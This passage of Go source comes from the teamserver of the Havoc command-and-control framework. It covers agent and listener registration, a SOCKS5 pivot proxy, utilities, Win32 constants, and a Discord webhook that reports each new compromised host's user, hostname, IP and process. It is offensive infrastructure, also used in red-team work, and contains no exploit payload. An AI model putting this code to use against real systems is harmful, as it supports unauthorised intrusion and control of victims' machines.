s.Agents = append(s.Agents[:j], s.Agents[j+1:]...) break } } } // remove registered listeners for j := range s.Listeners { if s.Listeners[j] != nil { if s.Listeners[j].client == client { logger.Warn(fmt.Sprintf("%v unregistered a new listener %v %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(s.Listeners[j].Name)+"]", "[Agent: "+colors.Blue(s.Listeners[j].Agent)+"]")) // remove from list s.Listeners = append(s.Listeners[:j], s.Listeners[j+1:]...) break } } } // close client connection if s.clients[i].Conn != nil { err := s.clients[i].Conn.Close() if err != nil { logger.DebugError("Failed to close service client connection: " + err.Error()) } } // remove from list s.clients = append(s.clients[:i], s.clients[i+1:]...) } } } func (s *Service) ListenerExist(Name string) bool { for i := range s.Listeners { // check if the listener name is equal to the name we specified. // if yes then return that we found one with the exact same name. if s.Listeners[i].Name == Name { return true } } // didn't found a listener with the exact same name that the caller specified. return false } func (s *Service) ListenerAdd(listener *ListenerService) { logger.Info(fmt.Sprintf("%v registered a new listener %v %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(listener.Name)+"]", "[Agent: "+colors.Blue(listener.Agent)+"]")) if listener != nil { s.Listeners = append(s.Listeners, listener) pk := events.Service.ListenerRegister(listener.Json()) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } } ================================================ FILE: teamserver/pkg/service/types.go ================================================ package service import ( "Havoc/pkg/agent" "Havoc/pkg/packager" "Havoc/pkg/profile" "sync" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" ) type ClientService struct { Conn *websocket.Conn Mutex sync.Mutex Responses map[string]chan []byte } type Teamserver interface { AgentAdd(agent *agent.Agent) []*agent.Agent ListenerServiceExc2Add(Name, ExEndpoint string, client *ClientService) error ListenerStartNotify(Listener map[string]any) EventAppend(pk packager.Package) []packager.Package EventBroadcast(FromUser string, pk packager.Package) SendEvent(id string, pk packager.Package) error } type ConfigService struct { Endpoint string Name string Password string } type Service struct { engine *gin.Engine clients []*ClientService Config profile.ServiceConfig Teamserver Teamserver Agents []*AgentService Listeners []*ListenerService Data struct { ServerAgents *agent.Agents } } const ( HeadRegister = "Register" HeadRegisterAgent = "RegisterAgent" HeadAgent = "Agent" HeadListener = "Listener" BodyAgentRegister = "AgentRegister" BodyAgentTask = "AgentTask" BodyAgentResponse = "AgentResponse" BodyAgentOutput = "AgentOutput" BodyAgentBuild = "AgentBuild" BodyListenerAdd = "ListenerAdd" BodyListenerExC2 = "ListenerAddExC2" BodyListenerStart = "ListenerStart" BodyListenerShutdown = "ListenerShutdown" BodyListenerTransmit = "ListenerTransmit" ) func (c *ClientService) WriteJson(v any) error { var err error c.Mutex.Lock() err = c.Conn.WriteJSON(v) c.Mutex.Unlock() return err } ================================================ FILE: teamserver/pkg/socks/socks.go ================================================ package socks import ( "errors" "net" "strings" ) type Socks struct { listener net.Listener addr string handler func(s *Socks, conn net.Conn) Failed bool Clients []int32 } func NewSocks(addr string) *Socks { var socks = new(Socks) if !strings.Contains(addr, ":") { return nil } socks.addr = addr return socks } func (s *Socks) SetHandler(handler func(s *Socks, conn net.Conn)) { s.handler = handler } func (s *Socks) Start() error { var ( err error con net.Conn ) if s.handler == nil { return errors.New("handler not specified") } /* listen on the specified addr */ if s.listener, err = net.Listen("tcp", s.addr); err != nil { return err } for { /* accepts any new connections */ if con, err = s.listener.Accept(); err != nil { return err } go s.handler(s, con) } } func (s *Socks) Close() { if s.listener != nil { s.listener.Close() } } ================================================ FILE: teamserver/pkg/socks/util.go ================================================ package socks import ( "bufio" "encoding/binary" "errors" "net" "fmt" "Havoc/pkg/logger" ) type Socks5AuthTypes byte type HostIpTypes byte const ( Version byte = 0x5 ) const ( NoAuth byte = 0 GssApi byte = 1 UserPass byte = 2 NoMatch byte = 0xff ) const ( IPv4 byte = 1 FQDN byte = 3 IPv6 byte = 4 ) const ( Succeeded = 0x00 GeneralSocksServerFailure = 0x01 NetworkUnreachable = 0x03 HostUnreachable = 0x04 ConnectionRefused = 0x05 TTLExpired = 0x06 CommandNotSupported = 0x07 AddressTypeNotSupported = 0x08 ) const ( ConnectCommand = 0x1 ) const ( WSAETIMEDOUT = 10060 WSAECONNREFUSED = 10061 WSAEHOSTUNREACH = 10065 WSAENETUNREACH = 10051 ) type SocksHeader struct { Version byte Command byte RSV byte ATYP byte IpDomain []byte Port uint16 } type NegotiationHeader struct { Version byte NMethods byte Methods []byte } func SubNegotiationClient(conn net.Conn) (NegotiationHeader, error) { var ( header NegotiationHeader reader = bufio.NewReader(conn) err error NumMethods byte ) /* * Client Version identifier/method selection message * +----+----------+----------+ * |VER | NMETHODS | METHODS | * +----+----------+----------+ */ header.Version, err = reader.ReadByte() if err != nil { return header, err } /* check if it's a socks5 header */ if header.Version != 0x5 { return header, errors.New(fmt.Sprint("socks version (%d) is not 5 (0x5)", header.Version)) } header.NMethods, err = reader.ReadByte() if err != nil { return header, err } NumMethods = header.NMethods for NumMethods != 0 { var AuthType byte AuthType, err = reader.ReadByte() if err != nil { return header, err } header.Methods = append(header.Methods, AuthType) NumMethods -= 1 } return header, nil } func ReadSocksHeader(conn net.Conn) (SocksHeader, error) { var ( header SocksHeader reader = bufio.NewReader(conn) err error ) /* * From rfc 1928 (S4), the SOCKS request is formed as follows: * * +----+-----+-------+------+----------+----------+ * |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | * +----+-----+-------+------+----------+----------+ * | 1 | 1 | X'00' | 1 | Variable | 2 | * +----+-----+-------+------+----------+----------+ * * Where: * * o VER protocol version: X'05' * o CMD * o CONNECT X'01' * o BIND X'02' * o UDP ASSOCIATE X'03' * o RSV RESERVED * o ATYP address type of following address * o IP V4 address: X'01' * o DOMAINNAME: X'03' * o IP V6 address: X'04' * o DST.ADDR desired destination address * o DST.PORT desired destination port in network octet * order */ header.Version, err = reader.ReadByte() if err != nil { return header, err } /* check if it's a socks5 header */ if header.Version != 0x5 { return header, errors.New(fmt.Sprint("socks version (%d) is not 5 (0x5)", header.Version)) } header.Command, err = reader.ReadByte() if err != nil { return header, err } header.RSV, err = reader.ReadByte() if err != nil { return header, err } if header.RSV != 0x0 { return header, errors.New(fmt.Sprint("socks RSV (%d) is not 0 (0x0)", header.RSV)) } header.ATYP, err = reader.ReadByte() if err != nil { return header, errors.New("ATYP puto el que lee") } if header.ATYP == 0x1 { // IP V4 address header.IpDomain = make([]byte, 4) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if n != 4 { return header, errors.New("failed to read the IPv4 address") } } else if header.ATYP == 0x3 { // DOMAINNAME var DomainLength byte DomainLength, err = reader.ReadByte() if err != nil { return header, err } header.IpDomain = make([]byte, uint32(DomainLength)) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if uint32(n) != uint32(DomainLength) { return header, errors.New("failed to read the domain") } } else if header.ATYP == 0x4 { // IP V6 address header.IpDomain = make([]byte, 16) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if n != 16 { return header, errors.New("failed to read the IPv6 address") } } else { return header, errors.New(fmt.Sprint("socks ATYP (%d) is not valid", header.ATYP)) } PortArr := make([]byte, 2) PortArr[0], err = reader.ReadByte() if err != nil { return header, err } PortArr[1], err = reader.ReadByte() if err != nil { return header, err } header.Port = binary.BigEndian.Uint16(PortArr) return header, nil } /* * Server Reply * +----+-----+-------+------+----------+----------+ * |VER | REP | RSV | ATYP | BND.ADDR | BND.PORT | * +----+-----+-------+------+----------+----------+ */ func CreateResponsePackage(ErrorType byte, ATYP byte, IpDomain []byte, Port uint16) []byte { // version, reply type, reserved byte and the address type response := []byte{Version, ErrorType, 0x00, ATYP} // if the address type is FQDN, first add the size of the domain if ATYP == FQDN { response = append(response, byte(len(IpDomain))) } // add IPv4/IPv6/FQDN response = append(response, IpDomain...) // port response = append(response, byte((Port >> 8) & 0xff)) response = append(response, byte((Port >> 0) & 0xff)) return response } func SendConnectSuccess(conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) error { _, err := conn.Write(CreateResponsePackage(Succeeded, ATYP, IpDomain, Port)) return err } func SendAddressTypeNotSupported(conn net.Conn) error { _, err := conn.Write([]byte{Version, AddressTypeNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) return err } func SendCommandNotSupported(conn net.Conn) error { _, err := conn.Write([]byte{Version, CommandNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) return err } func SendConnectFailure(conn net.Conn, ErrorCode uint32, ATYP byte, IpDomain []byte, Port uint16) error { var err error var Response byte if ErrorCode == WSAETIMEDOUT { // Connection Time-out Response = TTLExpired } else if ErrorCode == WSAECONNREFUSED { // ConnectionRefused Response = ConnectionRefused } else if ErrorCode == WSAEHOSTUNREACH { // HostUnreachable Response = HostUnreachable } else if ErrorCode == WSAENETUNREACH { // NetworkUnreachable Response = NetworkUnreachable } else { // some other generic error logger.Debug(fmt.Sprintf("Unknown Socks5 error code: %d", ErrorCode)) Response = GeneralSocksServerFailure } _, err = conn.Write(CreateResponsePackage(Response, ATYP, IpDomain, Port)) return err } ================================================ FILE: teamserver/pkg/utils/utils.go ================================================ package utils import ( "encoding/base64" "encoding/binary" "unicode/utf16" "fmt" "math/rand" "os" "strconv" "strings" "time" "unsafe" "Havoc/pkg/logger" ) const letterBytes = "abcdef0123456789" const ( letterIdxBits = 4 letterIdxMask = 1<= 0; { if remain == 0 { cache, remain = src.Int63(), letterIdxMax } if idx := int(cache & letterIdxMask); idx < len(letterBytes) { b[i] = letterBytes[idx] i-- } cache >>= letterIdxBits remain-- } return string(b) } func GenerateString(min int, max int) string { rand.Seed(time.Now().UnixNano()) length := min + rand.Intn(max - min + 1) var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") b := make([]rune, length) for i := range b { b[i] = letterRunes[rand.Intn(len(letterRunes))] } return string(b) } func EncodeCommand(x string) string { encodedCMD := base64.StdEncoding.EncodeToString([]byte(x)) return encodedCMD } func IP2Inet(ipaddr string) uint32 { var ( ip = strings.Split(ipaddr, ".") ip1, ip2, ip3, ip4 uint64 ret uint32 ) ip1, _ = strconv.ParseUint(ip[0], 10, 8) ip2, _ = strconv.ParseUint(ip[1], 10, 8) ip3, _ = strconv.ParseUint(ip[2], 10, 8) ip4, _ = strconv.ParseUint(ip[3], 10, 8) ret = uint32(ip4)<<24 + uint32(ip3)<<16 + uint32(ip2)<<8 + uint32(ip1) return ret } func Port2Htons(port uint16) uint16 { b := make([]byte, 2) binary.BigEndian.PutUint16(b, port) return *(*uint16)(unsafe.Pointer(&b[0])) } func ByteCountSI(b int64) string { const unit = 1000 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := int64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.2f %cB", float64(b)/float64(div), "kMGTPE"[exp]) } func GetTeamserverPath() string { var ( Path string err error ) if Path, err = os.Getwd(); err != nil { logger.Error("Couldn't get current working directory of teamserver: " + err.Error()) return "" } return Path } /*func GetFieldName(fieldPinter interface{}) (name string) { val := reflect.ValueOf(structPoint).Elem() val2 := reflect.ValueOf(fieldPinter).Elem() for i := 0; i < val.NumField(); i++ { valueField := val.Field(i) if valueField.Addr().Interface() == val2.Addr().Interface() { return val.Type().Field(i).Name } } return }*/ func IntToHexString(Int int) string { return fmt.Sprintf("%x", Int) } func HexIntToString(HexInt int) string { var bs = make([]byte, 4) binary.LittleEndian.PutUint32(bs, uint32(HexInt)) return fmt.Sprintf("%x", binary.BigEndian.Uint32(bs)) } func HexIntToBigEndian(HexInt int) int { var bs = make([]byte, 4) binary.LittleEndian.PutUint32(bs, uint32(HexInt)) return int(binary.BigEndian.Uint32(bs)) } ================================================ FILE: teamserver/pkg/webhook/discord.go ================================================ package webhook type Message struct { Username *string `json:"username,omitempty"` AvatarUrl *string `json:"avatar_url,omitempty"` Content *string `json:"content,omitempty"` Embeds *[]Embed `json:"embeds,omitempty"` } type Embed struct { Title *string `json:"title,omitempty"` Url *string `json:"url,omitempty"` Description *string `json:"description,omitempty"` Color *string `json:"color,omitempty"` Author *Author `json:"author,omitempty"` Fields *[]Field `json:"fields,omitempty"` Thumbnail *Thumbnail `json:"thumbnail,omitempty"` Image *Image `json:"image,omitempty"` Footer *Footer `json:"footer,omitempty"` } type Author struct { Name *string `json:"name,omitempty"` Url *string `json:"url,omitempty"` IconUrl *string `json:"icon_url,omitempty"` } type Field struct { Name *string `json:"name,omitempty"` Value *string `json:"value,omitempty"` Inline *bool `json:"inline,omitempty"` } type Thumbnail struct { Url *string `json:"url,omitempty"` } type Image struct { Url *string `json:"url,omitempty"` } type Footer struct { Text *string `json:"text,omitempty"` IconUrl *string `json:"icon_url,omitempty"` } ================================================ FILE: teamserver/pkg/webhook/webhook.go ================================================ package webhook import ( "bytes" "encoding/json" "fmt" "io" "net/http" "strconv" ) type WebHook struct { Discord struct { Avatar string User string Url string } } func StringPtr(str string) *string { return &str } func BoolPtr(b bool) *bool { return &b } func NewWebHook() *WebHook { return new(WebHook) } func (w *WebHook) NewAgent(agent map[string]any) error { if len(w.Discord.Url) > 0 { var ( payload = new(bytes.Buffer) message Message embed Embed field Field AgentInfo map[string]any ) AgentInfo = agent["Info"].(map[string]any) message.AvatarUrl = &w.Discord.Avatar message.Username = &w.Discord.User message.Embeds = new([]Embed) embed.Title = StringPtr("New Agent Initialized") embed.Fields = new([]Field) field.Name = StringPtr("Agent ID") field.Value = StringPtr(agent["NameID"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Username") field.Value = StringPtr(AgentInfo["Username"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Hostname") field.Value = StringPtr(AgentInfo["Hostname"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Internal IP") field.Value = StringPtr(AgentInfo["InternalIP"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Path") field.Value = StringPtr(AgentInfo["ProcessPath"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Name") field.Value = StringPtr(AgentInfo["ProcessName"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process ID") field.Value = StringPtr(strconv.Itoa(AgentInfo["ProcessPID"].(int))) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Arch") field.Value = StringPtr(AgentInfo["ProcessArch"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("OS Version") field.Value = StringPtr(AgentInfo["OSVersion"].(string)) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("OS Arch") field.Value = StringPtr(AgentInfo["OSArch"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("First Callback") field.Value = StringPtr(AgentInfo["FirstCallIn"].(string)) *embed.Fields = append(*embed.Fields, field) *message.Embeds = append(*message.Embeds, embed) err := json.NewEncoder(payload).Encode(message) if err != nil { return err } resp, err := http.Post(w.Discord.Url, "application/json", payload) if err != nil { return err } if resp.StatusCode != 200 && resp.StatusCode != 204 { defer resp.Body.Close() responseBody, err := io.ReadAll(resp.Body) if err != nil { return err } return fmt.Errorf(string(responseBody)) } return nil } return nil } func (w *WebHook) SetDiscord(AvatarUrl, User, Url string) { w.Discord.Avatar = AvatarUrl w.Discord.User = User w.Discord.Url = Url } ================================================ FILE: teamserver/pkg/win32/types.go ================================================ package win32 const ( PAGE_NOACCESS = 0x01 PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 PAGE_WRITECOPY = 0x08 PAGE_EXECUTE = 0x10 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_WRITECOPY = 0x80 PAGE_GUARD = 0x100 ) var Protections = map[int][]string{ PAGE_NOACCESS: {"PAGE_NOACCESS", "NA"}, PAGE_READONLY: {"PAGE_READONLY", "R"}, PAGE_READWRITE: {"PAGE_READWRITE","RW"}, PAGE_WRITECOPY: {"PAGE_WRITECOPY", "WC"}, PAGE_EXECUTE: {"PAGE_EXECUTE", "X"}, PAGE_EXECUTE_READ: {"PAGE_EXECUTE_READ", "RX"}, PAGE_EXECUTE_READWRITE: {"PAGE_EXECUTE_READWRITE", "RWX"}, PAGE_EXECUTE_WRITECOPY: {"PAGE_EXECUTE_WRITECOPY", "WCX"}, PAGE_GUARD: {"PAGE_GUARD", "PG"}, } const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_DECOMMIT = 0x4000 MEM_RELEASE = 0x8000 MEM_FREE = 0x10000 MEM_PRIVATE = 0x20000 MEM_MAPPED = 0x40000 MEM_RESET = 0x80000 MEM_TOP_DOWN = 0x100000 MEM_WRITE_WATCH = 0x200000 MEM_PHYSICAL = 0x400000 MEM_ROTATE = 0x800000 ) const ( LOGON32_LOGON_INTERACTIVE = 2 LOGON32_LOGON_NETWORK = 3 LOGON32_LOGON_BATCH = 4 LOGON32_LOGON_SERVICE = 5 LOGON32_LOGON_UNLOCK = 7 LOGON32_LOGON_NETWORK_CLEARTEXT = 8 LOGON32_LOGON_NEW_CREDENTIALS = 9 ) const ( DES_CBC_CRC = 1 DES_CBC_MD4 = 2 DES_CBC_MD5 = 3 DES3_CBC_MD5 = 5 DES3_CBC_SHA1 = 7 DSAWITHSHA1_CMSOID = 9 MD5WITHRSAENCRYPTION_CMSOID = 10 SHA1WITHRSAENCRYPTION_CMSOID = 11 RC2CBC_ENVOID = 12 RSAENCRYPTION_ENVOID = 13 RSAES_OAEP_ENV_OID = 14 DES3_CBC_SHA1_KD = 16 AES128_CTS_HMAC_SHA1 = 17 AES256_CTS_HMAC_SHA1 = 18 RC4_HMAC = 23 RC4_HMAC_EXP = 24 SUBKEY_KEYMATERIAL = 65 OLD_EXP = -135 ) const ( FALSE = 0 TRUE = 1 ) func StatusToString( Status int64 ) string { switch Status { case 0x00000000: return "STATUS_SUCCESS" case 0x00000001: return "STATUS_WAIT_1" case 0x00000002: return "STATUS_WAIT_2" case 0x00000003: return "STATUS_WAIT_3" case 0x0000003F: return "STATUS_WAIT_63" case 0x00000080: return "STATUS_ABANDONED_WAIT_0" case 0x000000BF: return "STATUS_ABANDONED_WAIT_63" case 0x000000C0: return "STATUS_USER_APC" case 0x00000100: return "STATUS_KERNEL_APC" case 0x00000101: return "STATUS_ALERTED" case 0x00000102: return "STATUS_TIMEOUT" case 0x00000103: return "STATUS_PENDING" case 0x00000104: return "STATUS_REPARSE" case 0x00000105: return "STATUS_MORE_ENTRIES" case 0x00000106: return "STATUS_NOT_ALL_ASSIGNED" case 0x00000107: return "STATUS_SOME_NOT_MAPPED" case 0x00000108: return "STATUS_OPLOCK_BREAK_IN_PROGRESS" case 0x00000109: return "STATUS_VOLUME_MOUNTED" case 0x0000010A: return "STATUS_RXACT_COMMITTED" case 0x0000010B: return "STATUS_NOTIFY_CLEANUP" case 0x0000010C: return "STATUS_NOTIFY_ENUM_DIR" case 0x0000010D: return "STATUS_NO_QUOTAS_FOR_ACCOUNT" case 0x0000010E: return "STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED" case 0x00000110: return "STATUS_PAGE_FAULT_TRANSITION" case 0x00000111: return "STATUS_PAGE_FAULT_DEMAND_ZERO" case 0x00000112: return "STATUS_PAGE_FAULT_COPY_ON_WRITE" case 0x00000113: return "STATUS_PAGE_FAULT_GUARD_PAGE" case 0x00000114: return "STATUS_PAGE_FAULT_PAGING_FILE" case 0x00000115: return "STATUS_CACHE_PAGE_LOCKED" case 0x00000116: return "STATUS_CRASH_DUMP" case 0x00000117: return "STATUS_BUFFER_ALL_ZEROS" case 0x00000118: return "STATUS_REPARSE_OBJECT" case 0x00000119: return "STATUS_RESOURCE_REQUIREMENTS_CHANGED" case 0x00000120: return "STATUS_TRANSLATION_COMPLETE" case 0x00000121: return "STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY" case 0x00010001: return "DBG_EXCEPTION_HANDLED" case 0x00010002: return "DBG_CONTINUE" case 0x40000000: return "STATUS_OBJECT_NAME_EXISTS" case 0x40000001: return "STATUS_THREAD_WAS_SUSPENDED" case 0x40000002: return "STATUS_WORKING_SET_LIMIT_RANGE" case 0x40000003: return "STATUS_IMAGE_NOT_AT_BASE" case 0x40000004: return "STATUS_RXACT_STATE_CREATED" case 0x40000005: return "STATUS_SEGMENT_NOTIFICATION" case 0x40000006: return "STATUS_LOCAL_USER_SESSION_KEY" case 0x40000007: return "STATUS_BAD_CURRENT_DIRECTORY" case 0x40000008: return "STATUS_SERIAL_MORE_WRITES" case 0x40000009: return "STATUS_REGISTRY_RECOVERED" case 0x4000000A: return "STATUS_FT_READ_RECOVERY_FROM_BACKUP" case 0x4000000B: return "STATUS_FT_WRITE_RECOVERY" case 0x4000000C: return "STATUS_SERIAL_COUNTER_TIMEOUT" case 0x4000000D: return "STATUS_NULL_LM_PASSWORD" case 0x4000000E: return "STATUS_IMAGE_MACHINE_TYPE_MISMATCH" case 0x4000000F: return "STATUS_RECEIVE_PARTIAL" case 0x40000010: return "STATUS_RECEIVE_EXPEDITED" case 0x40000011: return "STATUS_RECEIVE_PARTIAL_EXPEDITED" case 0x40000012: return "STATUS_EVENT_DONE" case 0x40000013: return "STATUS_EVENT_PENDING" case 0x40000014: return "STATUS_CHECKING_FILE_SYSTEM" case 0x40000015: return "STATUS_FATAL_APP_EXIT" case 0x40000016: return "STATUS_PREDEFINED_HANDLE" case 0x40000017: return "STATUS_WAS_UNLOCKED" case 0x40000018: return "STATUS_SERVICE_NOTIFICATION" case 0x40000019: return "STATUS_WAS_LOCKED" case 0x4000001A: return "STATUS_LOG_HARD_ERROR" case 0x4000001B: return "STATUS_ALREADY_WIN32" case 0x4000001C: return "STATUS_WX86_UNSIMULATE" case 0x4000001D: return "STATUS_WX86_CONTINUE" case 0x4000001E: return "STATUS_WX86_SINGLE_STEP" case 0x4000001F: return "STATUS_WX86_BREAKPOINT" case 0x40000020: return "STATUS_WX86_EXCEPTION_CONTINUE" case 0x40000021: return "STATUS_WX86_EXCEPTION_LASTCHANCE" case 0x40000022: return "STATUS_WX86_EXCEPTION_CHAIN" case 0x40000023: return "STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE" case 0x40000024: return "STATUS_NO_YIELD_PERFORMED" case 0x40000025: return "STATUS_TIMER_RESUME_IGNORED" case 0x40000026: return "STATUS_ARBITRATION_UNHANDLED" case 0x40000027: return "STATUS_CARDBUS_NOT_SUPPORTED" case 0x40000028: return "STATUS_WX86_CREATEWX86TIB" case 0x40000029: return "STATUS_MP_PROCESSOR_MISMATCH" case 0x40010001: return "DBG_REPLY_LATER" case 0x40010002: return "DBG_UNABLE_TO_PROVIDE_HANDLE" case 0x40010003: return "DBG_TERMINATE_THREAD" case 0x40010004: return "DBG_TERMINATE_PROCESS" case 0x40010005: return "DBG_CONTROL_C" case 0x40010006: return "DBG_PRINTEXCEPTION_C" case 0x40010007: return "DBG_RIPEXCEPTION" case 0x40010008: return "DBG_CONTROL_BREAK" case 0x80000001: return "STATUS_GUARD_PAGE_VIOLATION" case 0x80000002: return "STATUS_DATATYPE_MISALIGNMENT" case 0x80000003: return "STATUS_BREAKPOINT" case 0x80000004: return "STATUS_SINGLE_STEP" case 0x80000005: return "STATUS_BUFFER_OVERFLOW" case 0x80000006: return "STATUS_NO_MORE_FILES" case 0x80000007: return "STATUS_WAKE_SYSTEM_DEBUGGER" case 0x8000000A: return "STATUS_HANDLES_CLOSED" case 0x8000000B: return "STATUS_NO_INHERITANCE" case 0x8000000C: return "STATUS_GUID_SUBSTITUTION_MADE" case 0x8000000D: return "STATUS_PARTIAL_COPY" case 0x8000000E: return "STATUS_DEVICE_PAPER_EMPTY" case 0x8000000F: return "STATUS_DEVICE_POWERED_OFF" case 0x80000010: return "STATUS_DEVICE_OFF_LINE" case 0x80000011: return "STATUS_DEVICE_BUSY" case 0x80000012: return "STATUS_NO_MORE_EAS" case 0x80000013: return "STATUS_INVALID_EA_NAME" case 0x80000014: return "STATUS_EA_LIST_INCONSISTENT" case 0x80000015: return "STATUS_INVALID_EA_FLAG" case 0x80000016: return "STATUS_VERIFY_REQUIRED" case 0x80000017: return "STATUS_EXTRANEOUS_INFORMATION" case 0x80000018: return "STATUS_RXACT_COMMIT_NECESSARY" case 0x8000001A: return "STATUS_NO_MORE_ENTRIES" case 0x8000001B: return "STATUS_FILEMARK_DETECTED" case 0x8000001C: return "STATUS_MEDIA_CHANGED" case 0x8000001D: return "STATUS_BUS_RESET" case 0x8000001E: return "STATUS_END_OF_MEDIA" case 0x8000001F: return "STATUS_BEGINNING_OF_MEDIA" case 0x80000020: return "STATUS_MEDIA_CHECK" case 0x80000021: return "STATUS_SETMARK_DETECTED" case 0x80000022: return "STATUS_NO_DATA_DETECTED" case 0x80000023: return "STATUS_REDIRECTOR_HAS_OPEN_HANDLES" case 0x80000024: return "STATUS_SERVER_HAS_OPEN_HANDLES" case 0x80000025: return "STATUS_ALREADY_DISCONNECTED" case 0x80000026: return "STATUS_LONGJUMP" case 0x80010001: return "DBG_EXCEPTION_NOT_HANDLED" case 0xC0000001: return "STATUS_UNSUCCESSFUL" case 0xC0000002: return "STATUS_NOT_IMPLEMENTED" case 0xC0000003: return "STATUS_INVALID_INFO_CLASS" case 0xC0000004: return "STATUS_INFO_LENGTH_MISMATCH" case 0xC0000005: return "STATUS_ACCESS_VIOLATION" case 0xC0000006: return "STATUS_IN_PAGE_ERROR" case 0xC0000007: return "STATUS_PAGEFILE_QUOTA" case 0xC0000008: return "STATUS_INVALID_HANDLE" case 0xC0000009: return "STATUS_BAD_INITIAL_STACK" case 0xC000000A: return "STATUS_BAD_INITIAL_PC" case 0xC000000B: return "STATUS_INVALID_CID" case 0xC000000C: return "STATUS_TIMER_NOT_CANCELED" case 0xC000000D: return "STATUS_INVALID_PARAMETER" case 0xC000000E: return "STATUS_NO_SUCH_DEVICE" case 0xC000000F: return "STATUS_NO_SUCH_FILE" case 0xC0000010: return "STATUS_INVALID_DEVICE_REQUEST" case 0xC0000011: return "STATUS_END_OF_FILE" case 0xC0000012: return "STATUS_WRONG_VOLUME" case 0xC0000013: return "STATUS_NO_MEDIA_IN_DEVICE" case 0xC0000014: return "STATUS_UNRECOGNIZED_MEDIA" case 0xC0000015: return "STATUS_NONEXISTENT_SECTOR" case 0xC0000016: return "STATUS_MORE_PROCESSING_REQUIRED" case 0xC0000017: return "STATUS_NO_MEMORY" case 0xC0000018: return "STATUS_CONFLICTING_ADDRESSES" case 0xC0000019: return "STATUS_NOT_MAPPED_VIEW" case 0xC000001A: return "STATUS_UNABLE_TO_FREE_VM" case 0xC000001B: return "STATUS_UNABLE_TO_DELETE_SECTION" case 0xC000001C: return "STATUS_INVALID_SYSTEM_SERVICE" case 0xC000001D: return "STATUS_ILLEGAL_INSTRUCTION" case 0xC000001E: return "STATUS_INVALID_LOCK_SEQUENCE" case 0xC000001F: return "STATUS_INVALID_VIEW_SIZE" case 0xC0000020: return "STATUS_INVALID_FILE_FOR_SECTION" case 0xC0000021: return "STATUS_ALREADY_COMMITTED" case 0xC0000022: return "STATUS_ACCESS_DENIED" case 0xC0000023: return "STATUS_BUFFER_TOO_SMALL" case 0xC0000024: return "STATUS_OBJECT_TYPE_MISMATCH" case 0xC0000025: return "STATUS_NONCONTINUABLE_EXCEPTION" case 0xC0000026: return "STATUS_INVALID_DISPOSITION" case 0xC0000027: return "STATUS_UNWIND" case 0xC0000028: return "STATUS_BAD_STACK" case 0xC0000029: return "STATUS_INVALID_UNWIND_TARGET" case 0xC000002A: return "STATUS_NOT_LOCKED" case 0xC000002B: return "STATUS_PARITY_ERROR" case 0xC000002C: return "STATUS_UNABLE_TO_DECOMMIT_VM" case 0xC000002D: return "STATUS_NOT_COMMITTED" case 0xC000002E: return "STATUS_INVALID_PORT_ATTRIBUTES" case 0xC000002F: return "STATUS_PORT_MESSAGE_TOO_LONG" case 0xC0000030: return "STATUS_INVALID_PARAMETER_MIX" case 0xC0000031: return "STATUS_INVALID_QUOTA_LOWER" case 0xC0000032: return "STATUS_DISK_CORRUPT_ERROR" case 0xC0000033: return "STATUS_OBJECT_NAME_INVALID" case 0xC0000034: return "STATUS_OBJECT_NAME_NOT_FOUND" case 0xC0000035: return "STATUS_OBJECT_NAME_COLLISION" case 0xC0000037: return "STATUS_PORT_DISCONNECTED" case 0xC0000038: return "STATUS_DEVICE_ALREADY_ATTACHED" case 0xC0000039: return "STATUS_OBJECT_PATH_INVALID" case 0xC000003A: return "STATUS_OBJECT_PATH_NOT_FOUND" case 0xC000003B: return "STATUS_OBJECT_PATH_SYNTAX_BAD" case 0xC000003C: return "STATUS_DATA_OVERRUN" case 0xC000003D: return "STATUS_DATA_LATE_ERROR" case 0xC000003E: return "STATUS_DATA_ERROR" case 0xC000003F: return "STATUS_CRC_ERROR" case 0xC0000040: return "STATUS_SECTION_TOO_BIG" case 0xC0000041: return "STATUS_PORT_CONNECTION_REFUSED" case 0xC0000042: return "STATUS_INVALID_PORT_HANDLE" case 0xC0000043: return "STATUS_SHARING_VIOLATION" case 0xC0000044: return "STATUS_QUOTA_EXCEEDED" case 0xC0000045: return "STATUS_INVALID_PAGE_PROTECTION" case 0xC0000046: return "STATUS_MUTANT_NOT_OWNED" case 0xC0000047: return "STATUS_SEMAPHORE_LIMIT_EXCEEDED" case 0xC0000048: return "STATUS_PORT_ALREADY_SET" case 0xC0000049: return 